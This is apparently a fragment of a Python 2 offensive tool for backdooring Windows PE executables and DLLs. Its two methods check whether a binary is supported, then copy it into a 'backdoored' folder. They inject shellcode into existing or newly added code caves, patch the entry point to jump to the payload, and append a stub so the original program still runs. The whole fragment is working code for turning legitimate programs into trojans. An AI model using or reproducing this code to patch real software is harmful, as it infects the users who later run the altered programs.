def support_check(self): """ This function is for checking if the current exe/dll is supported by this program. Returns false if not supported, returns flItms if it is. """ print "[*] Checking if binary is supported" self.flItms["supported"] = False # global f self.binary = open(self.FILE, "r+b") if self.binary.read(2) != "\x4d\x5a": print "%s not a PE File" % self.FILE return False self.gather_file_info_win() if self.flItms is False: return False if MachineTypes[hex(self.flItms["MachineType"])] not in supported_types: for item in self.flItms: print item + ":", self.flItms[item] print ("This program does not support this format: %s" % MachineTypes[hex(self.flItms["MachineType"])]) else: self.flItms["supported"] = True targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) if self.flItms["Magic"] == int("20B", 16): self.flItms, self.flItms["count_bytes"] = targetFile.pe64_entry_instr() elif self.flItms["Magic"] == int("10b", 16): self.flItms, self.flItms["count_bytes"] = targetFile.pe32_entry_instr() else: self.flItms["supported"] = False self.flItms["runas_admin"] = self.runas_admin() if self.VERBOSE is True: self.print_flItms(self.flItms) if self.flItms["supported"] is False: return False self.binary.close()
def patch_pe(self): """ This function operates the sequence of all involved functions to perform the binary patching. """ print "[*] In the backdoor module" if self.INJECTOR is False: os_name = os.name if not os.path.exists("backdoored"): os.makedirs("backdoored") if os_name == "nt": self.OUTPUT = "backdoored\\" + self.OUTPUT else: self.OUTPUT = "backdoored/" + self.OUTPUT issupported = self.support_check() if issupported is False: return None self.flItms["NewCodeCave"] = self.ADD_SECTION self.flItms["cave_jumping"] = self.CAVE_JUMPING self.flItms["CavesPicked"] = {} self.flItms["LastCaveAddress"] = 0 self.flItms["stager"] = False self.flItms["supplied_shellcode"] = self.SUPPLIED_SHELLCODE # if self.flItms['supplied_shellcode'] is not None: # self.flItms['supplied_shellcode'] = open(self.SUPPLIED_SHELLCODE, 'r+b').read() # override other settings # port = 4444 # host = '127.0.0.1' self.set_shells() # Move shellcode check here not before this is executed. # Creating file to backdoor self.flItms["backdoorfile"] = self.OUTPUT shutil.copy2(self.FILE, self.flItms["backdoorfile"]) self.binary = open(self.flItms["backdoorfile"], "r+b") # reserve space for shellcode targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) # Finding the length of the resume Exe shellcode if self.flItms["Magic"] == int("20B", 16): _, self.flItms["resumeExe"] = targetFile.resume_execution_64() else: _, self.flItms["resumeExe"] = targetFile.resume_execution_32() shellcode_length = len(self.flItms["shellcode"]) self.flItms["shellcode_length"] = shellcode_length + len(self.flItms["resumeExe"]) caves_set = False while caves_set is False: if self.flItms["NewCodeCave"] is False: # self.flItms['JMPtoCodeAddress'], self.flItms['CodeCaveLOC'] = ( self.flItms["CavesPicked"] = self.find_cave() if self.flItms["CavesPicked"] is None: self.flItms["JMPtoCodeAddress"] = None self.flItms["CodeCaveLOC"] = 0 self.flItms["cave_jumping"] = False self.flItms["CavesPicked"] = {} print "-resetting shells" self.set_shells() caves_set = True elif type(self.flItms["CavesPicked"]) == str: if self.flItms["CavesPicked"].lower() == "append": self.flItms["JMPtoCodeAddress"] = None self.flItms["CodeCaveLOC"] = 0 self.flItms["cave_jumping"] = False self.flItms["CavesPicked"] = {} print "-resetting shells" self.set_shells() caves_set = True elif self.flItms["CavesPicked"].lower() == "jump": self.flItms["JMPtoCodeAddress"] = None self.flItms["CodeCaveLOC"] = 0 self.flItms["cave_jumping"] = True self.flItms["CavesPicked"] = {} print "-resetting shells" self.set_shells() continue elif self.flItms["CavesPicked"].lower() == "single": self.flItms["JMPtoCodeAddress"] = None self.flItms["CodeCaveLOC"] = 0 self.flItms["cave_jumping"] = False self.flItms["CavesPicked"] = {} print "-resetting shells" self.set_shells() continue else: self.flItms["JMPtoCodeAddress"] = self.flItms["CavesPicked"].iteritems().next()[1][6] caves_set = True else: caves_set = True # If no cave found, continue to create one. if self.flItms["JMPtoCodeAddress"] is None or self.flItms["NewCodeCave"] is True: self.create_code_cave() self.flItms["NewCodeCave"] = True print "- Adding a new section to the exe/dll for shellcode injection" else: self.flItms["LastCaveAddress"] = self.flItms["CavesPicked"][len(self.flItms["CavesPicked"]) - 1][6] # Patch the entry point targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) targetFile.patch_initial_instructions() if self.flItms["Magic"] == int("20B", 16): ReturnTrackingAddress, self.flItms["resumeExe"] = targetFile.resume_execution_64() else: ReturnTrackingAddress, self.flItms["resumeExe"] = targetFile.resume_execution_32() # write instructions and shellcode self.flItms["allshells"] = getattr(self.flItms["shells"], self.SHELL)(self.flItms, self.flItms["CavesPicked"]) if self.flItms["cave_jumping"] is True: if self.flItms["stager"] is False: temp_jmp = "\xe9" breakupvar = eat_code_caves(self.flItms, 1, 2) test_length = ( int(self.flItms["CavesPicked"][2][1], 16) - int(self.flItms["CavesPicked"][1][1], 16) - len(self.flItms["allshells"][1]) - 5 ) # test_length = breakupvar - len(self.flItms['allshells'][1]) - 4 if test_length < 0: temp_jmp += struct.pack("<I", 0xFFFFFFFF - abs(breakupvar - len(self.flItms["allshells"][1]) - 4)) else: temp_jmp += struct.pack("<I", breakupvar - len(self.flItms["allshells"][1]) - 5) self.flItms["allshells"] += (self.flItms["resumeExe"],) self.flItms["completeShellcode"] = self.flItms["shellcode"] + self.flItms["resumeExe"] if self.flItms["NewCodeCave"] is True: self.binary.seek(self.flItms["newSectionPointerToRawData"] + self.flItms["buffer"]) self.binary.write(self.flItms["completeShellcode"]) if self.flItms["cave_jumping"] is True: for i, item in self.flItms["CavesPicked"].iteritems(): self.binary.seek(int(self.flItms["CavesPicked"][i][1], 16)) self.binary.write(self.flItms["allshells"][i]) # So we can jump to our resumeExe shellcode if i == (len(self.flItms["CavesPicked"]) - 2) and self.flItms["stager"] is False: self.binary.write(temp_jmp) else: for i, item in self.flItms["CavesPicked"].iteritems(): if i == 0: self.binary.seek(int(self.flItms["CavesPicked"][i][1], 16)) self.binary.write(self.flItms["completeShellcode"]) print "[*] {0} backdooring complete".format(self.FILE) self.binary.close() if self.VERBOSE is True: print_flItms(self.flItms) return True